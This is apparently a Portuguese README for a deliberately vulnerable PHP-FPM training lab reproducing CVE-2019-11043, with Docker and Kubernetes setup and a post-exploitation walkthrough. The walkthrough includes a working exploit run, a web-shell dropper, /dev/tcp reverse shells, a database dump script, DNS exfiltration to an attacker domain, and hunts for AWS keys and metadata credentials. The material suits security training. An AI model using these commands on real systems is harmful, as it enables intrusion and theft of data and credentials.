a1ex-var1amov/ctf-cve-2019-11043Laboratório PHP-FPM intencionalmente vulnerável para reproduzir o CVE-2019-11043 com implantação Docker e Kubernetes, incluindo início rápido de exploração, exercícios pós-exploração e interface de configuração de banco de dados.
Aplicativo PHP mínimo com configuração intencionalmente vulnerável de Nginx/PHP-FPM para reproduzir CVE-2019-11043. Inclui um pequeno gerenciador de tarefas, login/admin e interface de configuração de banco de dados.
# build
docker build -t cve-2019-11043-lab:app .
# run
docker run --rm -p 8080:80 cve-2019-11043-lab:app
# open
open http://localhost:8080/
Use phuip-fpizdam contra status.php, deixe-o detectar parâmetros, então execute novamente com --skip-detect.
~/go/bin/phuip-fpizdam "http://localhost:8080/status.php"
O aplicativo suporta ambos SQLite e MySQL com detecção automática:
sqlite:/var/www/html/data/app.sqlitemysql:host=hostname;port=3306;dbname=database;charset=utf8mb4Quando estas variáveis de ambiente estão definidas, elas automaticamente sobrescrevem o DSN:
DB_HOST - Hostname do banco de dadosDB_PORT - Porta do banco de dados (padrão: 3306)DB_NAME - Nome do banco de dadosDB_USER - Usuário do banco de dadosDB_PASS - Senha do banco de dadosindex.php, login.php, admin.php)./health.php, que também verifica a conectividade com o banco de dados.Os manifestos estão em k8s/:
k8s/secret.yaml: Credenciais MySQL (placeholders stringData)k8s/mysql-deployment.yaml: Deployment + Service do MySQLk8s/app-deployment.yaml: Deployment do aplicativo (privilegiado) + Service; monta o secret e define variáveis de ambiente do banco de dadosk8s/ingress.yaml: Roteamento do Nginx Ingress para o aplicativoO placeholder de imagem usa quay.io – altere quay.io/your-org/cve-2019-11043-lab:app para o seu repositório.
Ordem de aplicação:
kubectl apply -f k8s/secret.yaml
kubectl apply -f k8s/mysql-deployment.yaml
kubectl apply -f k8s/app-deployment.yaml
kubectl apply -f k8s/ingress.yaml
O Ingress assume um Nginx Ingress Controller e DNS/hosts taskapp.local apontando para seu endereço.
public/: raiz web (pontos de entrada)app/: helpers do aplicativo (config, db, auth, version)php/: sobrescritas de ini do PHP-FPMk8s/: manifestos Kubernetesdata/: dados em tempo de execução (db SQLite, config)Faça login em /login.php usando admin / admin (dica na interface oculta por CSS).
Acesse /db_config.php como administrador para:
Este é um ambiente intencionalmente vulnerável. Não exponha a redes não confiáveis.
Construa e envie uma imagem multi-arquitetura (linux/amd64, linux/arm64) para quay.io.
Pré-requisitos: Docker Buildx (Docker Desktop o inclui). Emulação QEMU opcional: docker run --privileged --rm tonistiigi/binfmt --install all.
# set your repo once
export IMG=quay.io/your-org/cve-2019-11043-lab:app
# ensure buildx is ready
docker buildx create --use --name multi 2>/dev/null || docker buildx use multi
docker buildx inspect --bootstrap
# build and push multi-arch image
docker buildx build \
--platform linux/amd64,linux/arm64 \
-t "$IMG" \
-t "${IMG}-$(date +%Y%m%d)" \
--push .
# (optional) run locally on Apple Silicon as amd64
docker run --rm -p 8080:80 --platform linux/amd64 "$IMG"
Defina os alvos:
BASE=http://<your-elb-or-ingress-host>
TARGET="$BASE/status.php"
Exploit (detecção automática, depois execução final):
~/go/bin/phuip-fpizdam "$TARGET"
~/go/bin/phuip-fpizdam --skip-detect "$TARGET"
Solte um pequeno web shell e verifique a execução:
# write /public/sh.php (cmd runner) via exploit's RCE primitive (examples vary by tool output)
# alternatively, if you have RCE already, you can curl it directly from your host:
curl -s "$BASE/" -o /dev/null # warmup
# minimal cmd runner served from your host
printf "<?php @system(
isset(\$_GET['c'])?\$_GET['c']:'id');" | sed "s/$/\n/" | base64 > sh.b64
# deliver via RCE or any write primitive to /var/www/html/public/sh.php
# validate:
curl -s "$BASE/sh.php?c=whoami"
Continue com os Exercícios de Laboratório de Pós-Exploração abaixo para reverse shell, dump MySQL, exfiltração DNS TXT, linPEAS e busca de chaves AWS.
Estas etapas são apenas para uso educacional neste ambiente de laboratório.
Defina sua URL base e IP do atacante:
BASE=http://<your-elb-or-ingress-host>
ATTACKER_IP=<your-ip>
ATTACKER_PORT=4444
Depois de explorar CVE-2019-11043 com phuip-fpizdam, use a primitiva RCE para escrever um pequeno web shell. Se você já tem um shell dentro do contêiner, execute:
# write /public/sh.php with a minimal cmd runner
printf "PD9waHAgQHN5c3RlbSgkX0dFVFsnYyddKTs/Pg==" | base64 -d | sudo tee /var/www/html/public/sh.php >/dev/null
Se você só tem RCE (sem shell), execute a mesma escrita base64 via a primitiva RCE (ex.: através da ferramenta de exploit).
Valide:
curl -s "$BASE/sh.php?c=whoami"
curl -s "$BASE/sh.php?c=whoami"
No seu host atacante:
nc -lvnp "$ATTACKER_PORT"
Dispara a partir do alvo (comando codificado na URL):
ENC="bash -c 'bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1'"
curl -g --data-urlencode c="$ENC" "$BASE/sh.php"
Se bash não estiver disponível, tente:
ENC="sh -c 'sh -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1'"
curl -g --data-urlencode c="$ENC" "$BASE/sh.php"
Opção A (caminho do operador do cluster):
kubectl exec deploy/mysql -- sh -lc 'mysqldump -u"$MYSQL_USER" -p"$MYSQL_PASSWORD" "$MYSQL_DATABASE" | gzip -c' > dump.sql.gz
Opção B (via web shell usando PHP PDO): escreva um script de dump rápido que usa a configuração do aplicativo:
# create /public/dump.php using the web shell RCE
cat <<'PHP' | base64 | tr -d '\n' | xargs -I{} curl -s "$BASE/sh.php?c=echo {} | base64 -d > /var/www/html/public/dump.php"
<?php
require __DIR__.'/../app/db.php';
$pdo=app_db_connect();
$tables=$pdo->query("SHOW TABLES")->fetchAll(PDO::FETCH_COLUMN);
foreach($tables as $t){
$rows=$pdo->query("SELECT * FROM `{$t}`")->fetchAll(PDO::FETCH_ASSOC);
echo "-- Table: {$t}\n";
echo json_encode($rows, JSON_UNESCAPED_UNICODE|JSON_UNESCAPED_SLASHES),"\n";
}
PHP
# obtenha o dump
curl -s "$BASE/dump.php" | tee dump.json
Aponte um domínio de teste que você controla (ex.: exf.attacker.tld) para um servidor de nomes que você captura (ex.: dnschef ou bind). Então, a partir do alvo, dispare consultas DNS carregando blocos:
# minimal PHP-based exfil using DNS queries
PHPONE='php -r '\''$d=file_get_contents("/var/www/html/public/dump.php");$b=base64_encode($d);$c=str_split($b,40);foreach($c as $i=>$x){gethostbyname("$i.".$x.".exf.attacker.tld");usleep(50000);} echo "done\n"; '\'''
curl -g --data-urlencode c="$PHPONE" "$BASE/sh.php"
Observe as consultas no seu servidor de nomes; reconstrua a partir dos rótulos.
curl -sL https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
# variáveis de ambiente
curl -s "$BASE/sh.php?c=env" | grep -E 'AWS_|AKIA'
# sistema de arquivos (possíveis segredos montados, configurações, código)
curl -s "$BASE/sh.php?c=grep -R --exclude-dir=proc --exclude-dir=sys -E "'"'AKIA[0-9A-Z]{16}'"'" / 2>/dev/null"
# metadados da instância (se acessível; geralmente bloqueado de pods)
curl -s "$BASE/sh.php?c=curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/" || true
Novamente: realize apenas dentro deste laboratório. Nunca teste contra sistemas que você não possui ou para os quais não tem permissão explícita para avaliar.